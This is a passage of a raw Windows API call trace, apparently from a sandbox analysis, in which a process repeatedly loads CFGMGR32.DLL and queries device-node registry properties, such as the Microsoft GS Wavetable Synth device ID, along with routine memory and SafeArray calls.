lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.232] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0231.233] CM_Get_Device_IDA (in: dnDevInst=0x35, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\MMDEVAPI\\MICROSOFTGSWAVETABLESYNTH") returned 0x0 [0231.233] malloc (_Size=0x48) returned 0x196ef0fba40 [0231.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6aad6b59, dwHighDateTime=0x1d9eb0c)) [0231.233] SetEvent (hEvent=0x248) returned 1 [0231.240] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.240] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.244] malloc (_Size=0x18) returned 0x196ef0d1e60 [0231.245] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0231.245] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0231.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6aafce16, dwHighDateTime=0x1d9eb0c)) [0231.245] SetEvent (hEvent=0x248) returned 1 [0231.248] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.248] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.252] malloc (_Size=0x18) returned 0x196ef0d1b20 [0231.252] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0231.253] malloc (_Size=0x38) returned 0x196ef0d0ed0 [0231.253] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d0ed0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0ed0, pulLength=0x67117d608) returned 0x0 [0231.253] free (_Block=0x196ef0d0ed0) [0231.253] malloc (_Size=0x48) returned 0x196ef0fb540 [0231.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6ab2322b, dwHighDateTime=0x1d9eb0c)) [0231.256] SetEvent (hEvent=0x248) returned 1 [0231.258] malloc (_Size=0x18) returned 0x196ef0d1a20 [0231.258] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0231.258] free (_Block=0x196ef0d1a20) [0231.258] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0231.258] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0231.258] free (_Block=0x196ef0d1ca0) [0231.258] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ee0 [0231.258] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0231.258] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0231.258] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0231.258] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0231.258] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0231.258] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0231.258] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0231.258] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0231.259] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e250, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0231.259] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e258, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0231.259] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0231.260] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ee0) returned 1 [0231.260] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.260] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.263] malloc (_Size=0x18) returned 0x196ef0d2060 [0231.263] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.332] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0231.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6abe1abd, dwHighDateTime=0x1d9eb0c)) [0231.333] SetEvent (hEvent=0x248) returned 1 [0231.335] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.335] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.337] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.337] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.337] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.337] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.337] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.337] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.337] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.337] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.337] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.338] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.338] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.338] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.338] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.338] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0231.338] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.338] malloc (_Size=0x48) returned 0x196ef0fba40 [0231.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6abe1abd, dwHighDateTime=0x1d9eb0c)) [0231.339] SetEvent (hEvent=0x248) returned 1 [0231.341] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.341] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.341] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.341] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.344] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.344] malloc (_Size=0x18) returned 0x196ef0d1f20 [0231.344] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.344] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0231.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6abe1abd, dwHighDateTime=0x1d9eb0c)) [0231.345] SetEvent (hEvent=0x248) returned 1 [0231.356] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.356] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.359] malloc (_Size=0x18) returned 0x196ef0d1b40 [0231.359] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0231.359] malloc (_Size=0x48) returned 0x196ef0fba40 [0231.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6ac07e41, dwHighDateTime=0x1d9eb0c)) [0231.359] SetEvent (hEvent=0x248) returned 1 [0231.365] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.365] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.368] malloc (_Size=0x18) returned 0x196ef0d1a20 [0231.368] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.370] malloc (_Size=0x48) returned 0x196ef0fbe00 [0231.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6ac2e115, dwHighDateTime=0x1d9eb0c)) [0231.370] SetEvent (hEvent=0x248) returned 1 [0231.373] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.373] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.373] 